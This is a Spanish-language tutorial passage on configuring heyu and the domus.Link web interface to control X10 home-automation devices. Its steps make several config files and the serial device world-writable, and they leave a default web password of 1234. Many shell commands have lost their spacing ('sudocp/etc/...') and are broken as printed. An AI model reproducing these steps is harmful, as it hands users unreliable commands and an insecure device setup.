heyu stop #respaldamos la configuración actual de heyu sudocp/etc/heyu/x10.conf /etc/heyu/x10.conf.backup sudocp/etc/heyu/x10.sched /etc/heyu/x10.sched.backup #copiamos la configuración de domus.link en heyu sudocp/var/www/domus.Link/doc/x10.conf /etc/heyu/x10.conf sudocp/var/www/domus.Link/doc/x10.sched /etc/heyu/x10.sched #editamos la nueva configuración de heyu y configuramos el puerto serial usado sudo editor /etc/heyu/x10.conf #en mi caso como uso un adaptador de serial a usb TTY /dev/ttyUSB0, por defecto es /dev/ttyS0 #Cambiamos los permisos del archivo de configuración para que puedan ser accedidos por el usuario del servidor web sudochown www-data.www-data /etc/heyu/x10.conf sudochown-R www-data.www-data /var/www/domus.Link sudochmod o+rw /etc/heyu/x10.conf /var/www/domus.Link/db/floorplan /var/www/domus.Link/config.php #cambiamos permisos al puerto serial para que pueda ser accedido por el servidor web sudochmod o+rw /dev/ttyUSB0
#creamos un enlace dinámico a heyu para que pueda ser encontrado por domus.Link, para ver donde esta instalado heyu teclear whereis heyu
#despues de encontrado heyu creamos el enlace sudoln-s/usr/local/bin/heyu /usr/bin/heyu
#ahora ya teniendo prácticamente todo configurado, entramos a la página web de dónde se instalo la aplicación de domus.Link
http://localhost/domus.Link
#password por default 1234
#iniciamos el servicio, si hay un error verificar los pasos anteriores. #Ya que haya iniciado el servicio entraremos al ícono de configurció ubicado en la parte derecha. #ahí podremos crear habitaciones para poder asignar los dispositivos. #los alias es una forma fácil de poder identificar el ID del dispositivo #para crear un alias relacionaríamos el ID del dispositivo X10 con un nombre, #también seleccionaremos que tipo de módulo es, si es un socket puede ser LM14A o LM15A, si es un appliance stdAM. #necesitaríamos indicar si es un dispositivo de luz, appliance o de irrigación. # y por último elegimos dónde está el dispostivo en una sala, cocina, cochera, etc., dependiendo de los espacios configurados. # Despues de que ya se tenga configurado el esquema ahora si desde la página web ya se pueden manipular los dispositivos X10.
Comentarios Recientes